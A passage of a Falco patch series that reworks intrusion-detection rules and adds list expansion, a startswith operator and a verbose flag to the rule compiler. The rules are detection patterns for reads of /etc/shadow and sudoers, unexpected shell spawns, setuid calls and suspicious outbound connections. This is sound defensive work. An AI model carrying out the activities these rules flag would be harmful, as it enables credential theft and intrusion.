   desc: an attempt to create a directory below a set of binary directories.
-  condition: mkdir and bin_dir_mkdir and not package_mgmt_binaries
+  condition: mkdir and bin_dir_mkdir and not package_mgmt_procs
   output: "Directory below known binary directory created (user=%user.name command=%proc.cmdline directory=%evt.arg.path)"
   priority: WARNING
 
@@ -267,7 +265,7 @@
 
 - rule: run_shell_untrusted
   desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries.
-  condition: not container and proc.name = bash and spawned_process and proc.pname exists and not parent_cron and not proc.pname in (bash, sshd, sudo, docker, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent)
+  condition: not container and proc.name = bash and spawned_process and proc.pname exists and not proc.pname in (cron_binaries, bash, sshd, sudo, docker, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent)
   output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
   priority: WARNING
 
@@ -289,9 +287,9 @@
   priority: WARNING
 
 # sockfamily ip is to exclude certain processes (like 'groups') that communicate on unix-domain sockets
-- rule: system_binaries_network_activity
+- rule: system_procs_network_activity
   desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
-  condition: (inbound or outbound) and (fd.sockfamily = ip and system_binaries)
+  condition: (inbound or outbound) and (fd.sockfamily = ip and system_procs)
   output: "Known system binary sent/received network traffic (user=%user.name command=%proc.cmdline connection=%fd.name)"
   priority: WARNING
 
@@ -307,13 +305,13 @@
 # sshd, sendmail-msp, sendmail attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs
 - rule: non_sudo_setuid
   desc: an attempt to change users by calling setuid. sudo/su are excluded. user "root" is also excluded, as setuid calls typically involve dropping privileges.
-  condition: evt.type=setuid and evt.dir=> and not user.name=root and not userexec_binaries and not proc.name in (sshd, sendmail-msp, sendmail)
+  condition: evt.type=setuid and evt.dir=> and not user.name=root and not proc.name in (userexec_binaries, sshd, sendmail-msp, sendmail)
   output: "Unexpected setuid call by non-sudo, non-root program (user=%user.name command=%proc.cmdline uid=%evt.arg.uid)"
   priority: WARNING
 
 - rule: user_mgmt_binaries
   desc: activity by any programs that can manage users, passwords, or permissions. sudo and su are excluded. Activity in containers is also excluded--some containers create custom users on top of a base linux distribution at startup.
-  condition: spawned_process and not proc.name in (su, sudo) and not container and user_mgmt_binaries and not parent_cron and not proc.pname in (systemd, run-parts)
+  condition: spawned_process and not proc.name in (su, sudo) and not container and proc.name in (user_mgmt_binaries) and not proc.pname in (cron_binaries, systemd, run-parts)
   output: "User management binary command run outside of container (user=%user.name command=%proc.cmdline parent=%proc.pname)"
   priority: WARNING
 
@@ -361,7 +359,7 @@
 # as a part of doing the installation
 - rule: installer_bash_runs_pkgmgmt
   desc: an attempt by a program in a pipe installer session to run a package management binary
-  condition: evt.type=execve and package_mgmt_binaries and proc.sname=fbash
+  condition: evt.type=execve and package_mgmt_procs and proc.sname=fbash
   output: "Package management program run by process in a fbash session (command=%proc.cmdline)"
   priority: INFO
 
@@ -530,6 +528,6 @@
 
 # - rule: http_server_unexpected_network_inbound
 #   desc: inbound network traffic to a http server program on a port other than the standard ports
-#   condition: http_server_binaries and inbound and fd.sport != 80 and fd.sport != 443
+#   condition: proc.name in (http_server_binaries) and inbound and fd.sport != 80 and fd.sport != 443
 #   output: "Inbound network traffic to HTTP Server on unexpected port (connection=%fd.name)"
 #   priority: WARNING
diff --git a/userspace/falco/lua/compiler.lua b/userspace/falco/lua/compiler.lua
index 0e809dd6..df88e7fb 100644
--- a/userspace/falco/lua/compiler.lua
+++ b/userspace/falco/lua/compiler.lua
@@ -156,7 +156,12 @@ function check_for_ignored_syscalls_events(ast, filter_type, source)
    parser.traverse_ast(ast, "BinaryRelOp", cb)
 end
 
-function compiler.compile_macro(line)
+function compiler.compile_macro(line, list_defs)
+
+   for name, items in pairs(list_defs) do
+      line = string.gsub(line, name, table.concat(items, ", "))
+   end
+
    local ast, error_msg = parser.parse_filter(line)
 
    if (error_msg) then
@@ -174,7 +179,12 @@ end
 --[[
    Parses a single filter, then expands macros using passed-in table of definitions. Returns resulting AST.
 --]]
-function compiler.compile_filter(source, macro_defs)
+function compiler.compile_filter(source, macro_defs, list_defs)
+
+   for name, items in pairs(list_defs) do
+      source = string.gsub(source, name, table.concat(items, ", "))
+   end
+
    local ast, error_msg = parser.parse_filter(source)
 
    if (error_msg) then
diff --git a/userspace/falco/lua/rule_loader.lua b/userspace/falco/lua/rule_loader.lua
index 8bb55edf..f668de60 100644
--- a/userspace/falco/lua/rule_loader.lua
+++ b/userspace/falco/lua/rule_loader.lua
@@ -115,7 +115,7 @@ end
 -- object. The by_name index is used for things like describing rules,
 -- and the by_idx index is used to map the relational node index back
 -- to a rule.
-local state = {macros={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}
+local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}
 
 function load_rules(filename)
 
@@ -131,9 +131,28 @@ function load_rules(filename)
       end
 
       if (v['macro']) then
-	 local ast = compiler.compile_macro(v['condition'])
+	 local ast = compiler.compile_macro(v['condition'], state.lists)
 	 state.macros[v['macro']] = ast.filter.value
 
+      elseif (v['list']) then
+	 -- list items are represented in yaml as a native list, so no
+	 -- parsing necessary
+	 local items = {}
+
+	 -- List items may be references to other lists, so go through
+	 -- the items and expand any references to the items in the list
+	 for i, item in ipairs(v['items']) do
+	    if (state.lists[item] == nil) then
+	       items[#items+1] = item
+	    else
+	       for i, exp_item in ipairs(state.lists[item]) do
+		  items[#items+1] = exp_item
+	       end
+	    end
+	 end
+
+	 state.lists[v['list']] = items
+
       else -- rule
 
 	 if (v['rule'] == nil) then
@@ -150,7 +169,7 @@ function load_rules(filename)
 	 v['level'] = priority(v['priority'])
 	 state.rules_by_name[v['rule']] = v
 
-	 local filter_ast = compiler.compile_filter(v['condition'], state.macros)
+	 local filter_ast = compiler.compile_filter(v['condition'], state.macros, state.lists)
 
 	 if (filter_ast.type == "Rule") then
 	    state.n_rules = state.n_rules + 1

From 3cf0dd8ab029def28149ff32be36cd25ac4fd80b Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@sysdig.com>
Date: Fri, 8 Jul 2016 18:28:17 -0700
Subject: [PATCH 05/17] Utilize sysdig's startswith operator.

https://github.com/draios/sysdig/pull/623 adds support for a startswith
operator to allow for string prefix matching. Modify the parser to
recognize that operator, and use that operator for rules that really
want to check the beginning of a pathname, directory, etc. to make them
faster and avoid FPs.
---
 rules/falco_rules.yaml         | 21 ++++++++-------------
 userspace/falco/lua/parser.lua |  3 ++-
 2 files changed, 10 insertions(+), 14 deletions(-)

diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml
index 038c6a42..9d954e33 100644
--- a/rules/falco_rules.yaml
+++ b/rules/falco_rules.yaml
@@ -43,28 +43,23 @@
 
 # File categories
 - macro: terminal_file_fd
-  condition: fd.name=/dev/ptmx or fd.directory=/dev/pts
+  condition: fd.name=/dev/ptmx or fd.name startswith /dev/pts
 
-# This really should be testing that the directory begins with these
-# prefixes but sysdig's filter doesn't have a "starts with" operator
-# (yet).
 - macro: bin_dir
   condition: fd.directory in (/bin, /sbin, /usr/bin, /usr/sbin)
 
 - macro: bin_dir_mkdir
-  condition: evt.arg[0] contains /bin/ or evt.arg[0] contains /sbin/ or evt.arg[0] contains /usr/bin/ or evt.arg[0] contains /usr/sbin/
+  condition: evt.arg[0] startswith /bin/ or evt.arg[0] startswith /sbin/ or evt.arg[0] startswith /usr/bin/ or evt.arg[0] startswith /usr/sbin/
 - macro: bin_dir_rename
-  condition: evt.arg[1] contains /bin/ or evt.arg[1] contains /sbin/ or evt.arg[1] contains /usr/bin/ or evt.arg[1] contains /usr/sbin/
+  condition: evt.arg[1] startswith /bin/ or evt.arg[1] startswith /sbin/ or evt.arg[1] startswith /usr/bin/ or evt.arg[1] startswith /usr/sbin/
 
-# This really should be testing that the directory begins with /etc,
-# but sysdig's filter doesn't have a "starts with" operator (yet).
 - macro: etc_dir
-  condition: fd.directory contains /etc
+  condition: fd.name startswith /etc
 
 - macro: ubuntu_so_dirs
-  condition: fd.directory contains /lib/x86_64-linux-gnu or fd.directory contains /usr/lib/x86_64-linux-gnu or fd.directory contains /usr/lib/sudo
+  condition: fd.name startswith /lib/x86_64-linux-gnu or fd.name startswith /usr/lib/x86_64-linux-gnu or fd.name startswith /usr/lib/sudo
 - macro: centos_so_dirs
-  condition: fd.directory contains /lib64 or fd.directory contains /user/lib64 or fd.directory contains /usr/libexec
+  condition: fd.name startswith /lib64 or fd.name startswith /user/lib64 or fd.name startswith /usr/libexec
 - macro: linux_so_dirs
   condition: ubuntu_so_dirs or centos_so_dirs or fd.name=/etc/ld.so.cache
 
@@ -141,7 +136,7 @@
   condition: proc.name in (sendmail, sendmail-msp, postfix, procmail)
 
 - macro: sensitive_files
-  condition: (fd.name contains /etc/shadow or fd.name = /etc/sudoers or fd.directory in (/etc/sudoers.d, /etc/pam.d) or fd.name = /etc/pam.conf)
+  condition: fd.name startswith /etc and (fd.name contains /etc/shadow or fd.name = /etc/sudoers or fd.directory in (/etc/sudoers.d, /etc/pam.d) or fd.name = /etc/pam.conf)
 
 # Indicates that the process is new. Currently detected using time
 # since process was started, using a threshold of 5 seconds.
@@ -221,7 +216,7 @@
 # Only let rpm-related programs write to the rpm database
 - rule: write_rpm_database
   desc: an attempt to write to the rpm database by any non-rpm related program
-  condition: open_write and not proc.name in (rpm,rpmkey,yum) and fd.directory=/var/lib/rpm
+  condition: open_write and not proc.name in (rpm,rpmkey,yum) and fd.name startswith /var/lib/rpm
   output: "Rpm database opened for writing by a non-rpm program (command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
diff --git a/userspace/falco/lua/parser.lua b/userspace/falco/lua/parser.lua
index b43a9cfe..5f5f9558 100644
--- a/userspace/falco/lua/parser.lua
+++ b/userspace/falco/lua/parser.lua
@@ -236,7 +236,8 @@ local G = {
           symb("<") / "<" +
           symb(">") / ">" +
           symb("contains") / "contains" +
-          symb("icontains") / "icontains";
+          symb("icontains") / "icontains" +
+          symb("startswith") / "startswith";
   InOp = kw("in") / "in";
   UnaryBoolOp = kw("not") / "not";
   ExistsOp = kw("exists") / "exists";

From a2011c37a0a3fcec327751c7cf65d010067811ff Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@gmail.com>
Date: Thu, 16 Jun 2016 17:03:44 -0700
Subject: [PATCH 06/17] Performance/FP rule updates.

Make changes to rules to improve performance and reduce FPs:

- Rely on https://github.com/draios/sysdig/pull/610 that allows
  specifying an open/openat for reading/writing without having to search
  through all the flags individually.

- For a two-item list (open, openat), and thinking ahead to
  https://github.com/draios/sysdig/pull/624, check the event type
  individually instead of as a set membership test, which is a bit
  faster.

- Switch to consistently using evt.type instead of syscall.type.

- Move positive tests like etc_dir, bin_dir, sensitive_files,
  proc.sname, etc., which are most likely to not succeed, to the
  beginning of rules, so they have a greater chance to cause the rest of
  the rule to be skipped, which saves time.

- Using exim as a mail program--exim also can suid to root.

- add a new macro for ssl management binaries and allow them to write
  below /etc and read sensitive files.

- add a new macro for dhcp client binaries and allow them to write below
  /etc.

- Add exe (docker-related program) as a program that can set a namespace
  using setns.

- Don't count /dev/tty as an important file under /dev.
---
 rules/falco_rules.yaml | 80 ++++++++++++++++++++++--------------------
 1 file changed, 42 insertions(+), 38 deletions(-)

diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml
index 77654eb5..93f04b27 100644
--- a/rules/falco_rules.yaml
+++ b/rules/falco_rules.yaml
@@ -14,26 +14,17 @@
 #   condition: (syscall.type=read and evt.dir=> and fd.type in (file, directory))
 
 - macro: open_write
-  condition: >
-    (evt.type=open or evt.type=openat) and
-    fd.typechar='f' and
-    (evt.arg.flags contains O_WRONLY or
-    evt.arg.flags contains O_RDWR or
-    evt.arg.flags contains O_CREAT or
-    evt.arg.flags contains O_TRUNC)
+  condition: (evt.type=open or evt.type=openat) and evt.is_open_write=true and fd.typechar='f'
+
 - macro: open_read
-  condition: >
-    (evt.type=open or evt.type=openat) and
-    fd.typechar='f' and
-    (evt.arg.flags contains O_RDONLY or
-    evt.arg.flags contains O_RDWR)
+  condition: (evt.type=open or evt.type=openat) and evt.is_open_read=true and fd.typechar='f'
 
 - macro: rename
-  condition: syscall.type = rename
+  condition: evt.type = rename
 - macro: mkdir
-  condition: syscall.type = mkdir
+  condition: evt.type = mkdir
 - macro: remove
-  condition: syscall.type in (remove, rmdir, unlink, unlink_at)
+  condition: evt.type in (rmdir, unlink, unlinkat)
 
 - macro: modify
   condition: rename or remove
@@ -59,7 +50,7 @@
 - macro: ubuntu_so_dirs
   condition: fd.name startswith /lib/x86_64-linux-gnu or fd.name startswith /usr/lib/x86_64-linux-gnu or fd.name startswith /usr/lib/sudo
 - macro: centos_so_dirs
-  condition: fd.name startswith /lib64 or fd.name startswith /user/lib64 or fd.name startswith /usr/libexec
+  condition: fd.name startswith /lib64 or fd.name startswith /usr/lib64 or fd.name startswith /usr/libexec
 - macro: linux_so_dirs
   condition: ubuntu_so_dirs or centos_so_dirs or fd.name=/etc/ld.so.cache
 
@@ -116,11 +107,17 @@
 # The truncated dpkg-preconfigu is intentional, process names are
 # truncated at the sysdig level.
 - list: package_mgmt_binaries
-  items: [dpkg, dpkg-preconfigu, rpm, rpmkey, yum]
+  items: [dpkg, dpkg-preconfigu, rpm, rpmkey, yum, frontend]
 
 - macro: package_mgmt_procs
   condition: proc.name in (package_mgmt_binaries)
 
+- list: ssl_mgmt_binaries
+  items: [ca-certificates]
+
+- list: dhcp_binaries
+  items: [dhclient, dhclient-script]
+
 # A canonical set of processes that run other programs with different
 # privileges or as a different user.
 - list: userexec_binaries
@@ -132,11 +129,11 @@
 - macro: system_procs
   condition: proc.name in (coreutils_binaries, user_mgmt_binaries)
 
-- macro: mail_procs
-  condition: proc.name in (sendmail, sendmail-msp, postfix, procmail)
+- list: mail_binaries
+  items: [sendmail, sendmail-msp, postfix, procmail, exim4]
 
 - macro: sensitive_files
-  condition: fd.name startswith /etc and (fd.name contains /etc/shadow or fd.name = /etc/sudoers or fd.directory in (/etc/sudoers.d, /etc/pam.d) or fd.name = /etc/pam.conf)
+  condition: fd.name startswith /etc and (fd.name in (/etc/shadow, /etc/sudoers, /etc/pam.conf) or fd.directory in (/etc/sudoers.d, /etc/pam.d))
 
 # Indicates that the process is new. Currently detected using time
 # since process was started, using a threshold of 5 seconds.
@@ -145,11 +142,11 @@
 
 # Network
 - macro: inbound
-  condition: ((syscall.type=listen and evt.dir=>) or (syscall.type=accept and evt.dir=<))
+  condition: ((evt.type=listen and evt.dir=>) or (evt.type=accept and evt.dir=<))
 
-# Currently sendto is an ignored syscall, otherwise this could also check for (syscall.type=sendto and evt.dir=>)
+# Currently sendto is an ignored syscall, otherwise this could also check for (evt.type=sendto and evt.dir=>)
 - macro: outbound
-  condition: syscall.type=connect and evt.dir=< and (fd.typechar=4 or fd.typechar=6)
+  condition: evt.type=connect and evt.dir=< and (fd.typechar=4 or fd.typechar=6)
 
 - macro: ssh_port
   condition: fd.lport=22
@@ -160,7 +157,7 @@
 
 # System
 - macro: modules
-  condition: syscall.type in (delete_module, init_module)
+  condition: evt.type in (delete_module, init_module)
 - macro: container
   condition: container.id != host
 - macro: interactive
@@ -182,39 +179,46 @@
 
 - rule: write_binary_dir
   desc: an attempt to write to any file below a set of binary directories
-  condition: evt.dir = < and open_write and not package_mgmt_procs and bin_dir
+  condition: bin_dir and evt.dir = < and open_write and not package_mgmt_procs
   output: "File below a known binary directory opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
+- macro: write_etc_common
+  condition: >
+    etc_dir and evt.dir = < and open_write
+    and not proc.name in (shadowutils_binaries, sysdigcloud_binaries, package_mgmt_binaries, ssl_mgmt_binaries, dhcp_binaries, ldconfig.real)
+    and not proc.pname in (sysdigcloud_binaries)
+    and not fd.directory in (/etc/cassandra, /etc/ssl/certs/java)
+
 - rule: write_etc
   desc: an attempt to write to any file below /etc, not in a pipe installer session
-  condition: evt.dir = < and open_write and not proc.name in (shadowutils_binaries, sysdigcloud_binaries, package_mgmt_binaries) and etc_dir and not proc.pname in (sysdigcloud_binaries) and not proc.sname=fbash
+  condition: write_etc_common and not proc.sname=fbash
   output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
 # Within a fbash session, the severity is lowered to INFO
 - rule: write_etc_installer
   desc: an attempt to write to any file below /etc, in a pipe installer session
-  condition: evt.dir = < and open_write and not proc.name in (shadowutils_binaries, sysdigcloud_binaries, package_mgmt_binaries) and etc_dir and not proc.pname in (sysdigcloud_binaries) and proc.sname=fbash
+  condition: write_etc_common and proc.sname=fbash
   output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name) within pipe installer session"
   priority: INFO
 
 - rule: read_sensitive_file_untrusted
   desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs.
-  condition: open_read and not proc.name in (user_mgmt_binaries, userexec_binaries, cron_binaries, iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, bash, sshd) and sensitive_files
+  condition: sensitive_files and open_read and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, bash, sshd) and not proc.cmdline contains /usr/bin/mandb
   output: "Sensitive file opened for reading by non-trusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
 - rule: read_sensitive_file_trusted_after_startup
   desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information) by a trusted program after startup. Trusted programs might read these files at startup to load initial state, but not afterwards.
-  condition: open_read and server_procs and not proc_is_new and sensitive_files and proc.name!="sshd"
+  condition: sensitive_files and open_read and server_procs and not proc_is_new and proc.name!="sshd"
   output: "Sensitive file opened for reading by trusted program after startup (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
 # Only let rpm-related programs write to the rpm database
 - rule: write_rpm_database
   desc: an attempt to write to the rpm database by any non-rpm related program
-  condition: open_write and not proc.name in (rpm,rpmkey,yum) and fd.name startswith /var/lib/rpm
+  condition: fd.name startswith /var/lib/rpm and open_write and not proc.name in (rpm,rpmkey,yum)
   output: "Rpm database opened for writing by a non-rpm program (command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
@@ -254,7 +258,7 @@
 
 - rule: change_thread_namespace
   desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns.
-  condition: syscall.type = setns and not proc.name in (docker, sysdig, dragent)
+  condition: evt.type = setns and not proc.name in (docker, sysdig, dragent, nsenter, exe)
   output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline container=%container.id)"
   priority: WARNING
 
@@ -277,14 +281,14 @@
 
 - rule: run_shell_in_container
   desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded.
-  condition: container and proc.name = bash and spawned_process and proc.pname exists and not proc.pname in (bash, docker)
+  condition: container and proc.name = bash and spawned_process and proc.pname exists and not proc.pname in (sh, bash, docker)
   output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
   priority: WARNING
 
 # sockfamily ip is to exclude certain processes (like 'groups') that communicate on unix-domain sockets
 - rule: system_procs_network_activity
   desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
-  condition: (inbound or outbound) and (fd.sockfamily = ip and system_procs)
+  condition: (fd.sockfamily = ip and system_procs) and (inbound or outbound)
   output: "Known system binary sent/received network traffic (user=%user.name command=%proc.cmdline connection=%fd.name)"
   priority: WARNING
 
@@ -297,23 +301,23 @@
 #   output: "sshd sent error message to syslog (error=%evt.buffer)"
 #   priority: WARNING
 
-# sshd, sendmail-msp, sendmail attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs
+# sshd, mail programs attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs
 - rule: non_sudo_setuid
   desc: an attempt to change users by calling setuid. sudo/su are excluded. user "root" is also excluded, as setuid calls typically involve dropping privileges.
-  condition: evt.type=setuid and evt.dir=> and not user.name=root and not proc.name in (userexec_binaries, sshd, sendmail-msp, sendmail)
+  condition: evt.type=setuid and evt.dir=> and not user.name=root and not proc.name in (userexec_binaries, mail_binaries, sshd)
   output: "Unexpected setuid call by non-sudo, non-root program (user=%user.name command=%proc.cmdline uid=%evt.arg.uid)"
   priority: WARNING
 
 - rule: user_mgmt_binaries
   desc: activity by any programs that can manage users, passwords, or permissions. sudo and su are excluded. Activity in containers is also excluded--some containers create custom users on top of a base linux distribution at startup.
-  condition: spawned_process and not proc.name in (su, sudo) and not container and proc.name in (user_mgmt_binaries) and not proc.pname in (cron_binaries, systemd, run-parts)
+  condition: spawned_process and proc.name in (user_mgmt_binaries) and not proc.name in (su, sudo) and not container and not proc.pname in (cron_binaries, systemd, run-parts)
   output: "User management binary command run outside of container (user=%user.name command=%proc.cmdline parent=%proc.pname)"
   priority: WARNING
 
 # (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
 - rule: create_files_below_dev
   desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
-  condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr)
+  condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr,/dev/tty)
   output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
@@ -332,7 +336,7 @@
 
 - rule: installer_bash_non_https_connection
   desc: an attempt by a program in a pipe installer session to make an outgoing connection on a non-http(s) port
-  condition: outbound and not fd.sport in (80, 443, 53) and proc.sname=fbash
+  condition: proc.sname=fbash and outbound and not fd.sport in (80, 443, 53)
   output: "Outbound connection on non-http(s) port by a process in a fbash session (command=%proc.cmdline connection=%fd.name)"
   priority: WARNING
 

From 8ffb553c75ee69bd5634264fe959db58cfa81378 Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@sysdig.com>
Date: Mon, 11 Jul 2016 16:33:30 -0700
Subject: [PATCH 07/17] Add ability to run branch-specific trace files.

Pass the travis branch to run_regression_tests.sh. When downloading
trace files, first look for a file traces-XXX-$BRANCH and if found
download it. This allows testing out a set of changes with a trace file
specifically for that branch, that can be moved to the normal file once
the PR is merged.

Also increase the timeout for the spawned falco process from 1 to 3
minutes. In debug mode, the kubernetes demo was taking slightly over 1
minute.
---
 .travis.yml                  | 4 ++--
 test/falco_test.py           | 2 +-
 test/run_regression_tests.sh | 4 +++-
 3 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/.travis.yml b/.travis.yml
index fe37c22f..f0678351 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -36,11 +36,11 @@ script:
     - make VERBOSE=1
     - make package
     - cd ..
-    - sudo test/run_regression_tests.sh
+    - sudo test/run_regression_tests.sh $TRAVIS_BRANCH
 notifications:
   webhooks:
     urls:
 #      - https://webhooks.gitter.im/e/fdbc2356fb0ea2f15033
     on_success: change
     on_failure: always
-    on_start: never
\ No newline at end of file
+    on_start: never
diff --git a/test/falco_test.py b/test/falco_test.py
index adb35767..b9358e17 100644
--- a/test/falco_test.py
+++ b/test/falco_test.py
@@ -42,7 +42,7 @@ class FalcoTest(Test):
 
         self.falco_proc = process.SubProcess(cmd)
 
-        res = self.falco_proc.run(timeout=60, sig=9)
+        res = self.falco_proc.run(timeout=180, sig=9)
 
         if res.exit_status != 0:
             self.error("Falco command \"{}\" exited with non-zero return value {}".format(
diff --git a/test/run_regression_tests.sh b/test/run_regression_tests.sh
index b46646a1..8d63073b 100755
--- a/test/run_regression_tests.sh
+++ b/test/run_regression_tests.sh
@@ -3,11 +3,13 @@
 SCRIPT=$(readlink -f $0)
 SCRIPTDIR=$(dirname $SCRIPT)
 MULT_FILE=$SCRIPTDIR/falco_tests.yaml
+BRANCH=$1
 
 function download_trace_files() {
+    echo "branch=$BRANCH"
     for TRACE in traces-positive traces-negative traces-info ; do
 	rm -rf $SCRIPTDIR/$TRACE
-	curl -so $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE.zip &&
+	curl -fso $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE-$BRANCH.zip || curl -fso $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE.zip &&
 	unzip -d $SCRIPTDIR $SCRIPTDIR/$TRACE.zip &&
 	rm -rf $SCRIPTDIR/$TRACE.zip
     done

From 5955c00f9ca4b8c1104974854c560cad43249e4a Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@sysdig.com>
Date: Wed, 13 Jul 2016 17:57:11 -0700
Subject: [PATCH 08/17] Add a verbose flag.

Add a verbose flag -v which implies printing additional info. This is
passed down to lua during load_rules and sets the per-module verbose
value for the compiler and parser modules.

Later commits will use this to print additional info when loading rules.
---
 userspace/falco/falco.cpp           | 9 +++++++--
 userspace/falco/lua/compiler.lua    | 7 +++++++
 userspace/falco/lua/parser.lua      | 6 ++++++
 userspace/falco/lua/rule_loader.lua | 4 +++-
 userspace/falco/rules.cpp           | 5 +++--
 userspace/falco/rules.h             | 2 +-
 6 files changed, 27 insertions(+), 6 deletions(-)

diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp
index d269a473..d3b8ed14 100644
--- a/userspace/falco/falco.cpp
+++ b/userspace/falco/falco.cpp
@@ -55,6 +55,7 @@ static void usage()
            " -r <rules_file>               Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
 	   " -L                            Show the name and description of all rules and exit.\n"
 	   " -l <rule>                     Show the name and description of the rule with name <rule> and exit.\n"
+	   " -v                            Verbose output.\n"
 	   "\n"
     );
 }
@@ -253,6 +254,7 @@ int falco_init(int argc, char **argv)
 	string pidfilename = "/var/run/falco.pid";
 	bool describe_all_rules = false;
 	string describe_rule = "";
+	bool verbose = false;
 
 	static struct option long_options[] =
 	{
@@ -272,7 +274,7 @@ int falco_init(int argc, char **argv)
 		// Parse the args
 		//
 		while((op = getopt_long(argc, argv,
-                                        "c:ho:e:r:dp:Ll:",
+                                        "c:ho:e:r:dp:Ll:v",
                                         long_options, &long_index)) != -1)
 		{
 			switch(op)
@@ -301,6 +303,9 @@ int falco_init(int argc, char **argv)
 			case 'L':
 				describe_all_rules = true;
 				break;
+			case 'v':
+				verbose = true;
+				break;
 			case 'l':
 				describe_rule = optarg;
 				break;
@@ -397,7 +402,7 @@ int falco_init(int argc, char **argv)
 
 
 		inspector->set_drop_event_flags(EF_DROP_FALCO);
-		rules->load_rules(config.m_rules_filename);
+		rules->load_rules(config.m_rules_filename, verbose);
 		inspector->set_filter(rules->get_filter());
 		falco_logger::log(LOG_INFO, "Parsed rules from file " + config.m_rules_filename + "\n");
 
diff --git a/userspace/falco/lua/compiler.lua b/userspace/falco/lua/compiler.lua
index df88e7fb..9c6a59be 100644
--- a/userspace/falco/lua/compiler.lua
+++ b/userspace/falco/lua/compiler.lua
@@ -1,6 +1,13 @@
 local parser = require("parser")
 local compiler = {}
 
+compiler.verbose = false
+
+function compiler.set_verbose(verbose)
+   compiler.verbose = verbose
+   parser.set_verbose(verbose)
+end
+
 function map(f, arr)
    local res = {}
    for i,v in ipairs(arr) do
diff --git a/userspace/falco/lua/parser.lua b/userspace/falco/lua/parser.lua
index 5f5f9558..62b238a6 100644
--- a/userspace/falco/lua/parser.lua
+++ b/userspace/falco/lua/parser.lua
@@ -11,6 +11,12 @@
 
 local parser = {}
 
+parser.verbose = false
+
+function parser.set_verbose(verbose)
+   parser.verbose = verbose
+end
+
 local lpeg = require "lpeg"
 
 lpeg.locale(lpeg)
diff --git a/userspace/falco/lua/rule_loader.lua b/userspace/falco/lua/rule_loader.lua
index f668de60..24180e51 100644
--- a/userspace/falco/lua/rule_loader.lua
+++ b/userspace/falco/lua/rule_loader.lua
@@ -117,7 +117,9 @@ end
 -- to a rule.
 local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}
 
-function load_rules(filename)
+function load_rules(filename, verbose)
+
+   compiler.set_verbose(verbose)
 
    local f = assert(io.open(filename, "r"))
    local s = f:read("*all")
diff --git a/userspace/falco/rules.cpp b/userspace/falco/rules.cpp
index dc2b7072..25926afe 100644
--- a/userspace/falco/rules.cpp
+++ b/userspace/falco/rules.cpp
@@ -40,7 +40,7 @@ void falco_rules::load_compiler(string lua_main_filename)
 	}
 }
 
-void falco_rules::load_rules(string rules_filename)
+void falco_rules::load_rules(string rules_filename, bool verbose)
 {
 	lua_getglobal(m_ls, m_lua_load_rules.c_str());
 	if(lua_isfunction(m_ls, -1))
@@ -82,7 +82,8 @@ void falco_rules::load_rules(string rules_filename)
 		lua_setglobal(m_ls, m_lua_ignored_syscalls.c_str());
 
 		lua_pushstring(m_ls, rules_filename.c_str());
-		if(lua_pcall(m_ls, 1, 0, 0) != 0)
+		lua_pushboolean(m_ls, (verbose ? 1 : 0));
+		if(lua_pcall(m_ls, 2, 0, 0) != 0)
 		{
 			const char* lerr = lua_tostring(m_ls, -1);
 			string err = "Error loading rules:" + string(lerr);
diff --git a/userspace/falco/rules.h b/userspace/falco/rules.h
index 91bf6fa5..547ae210 100644
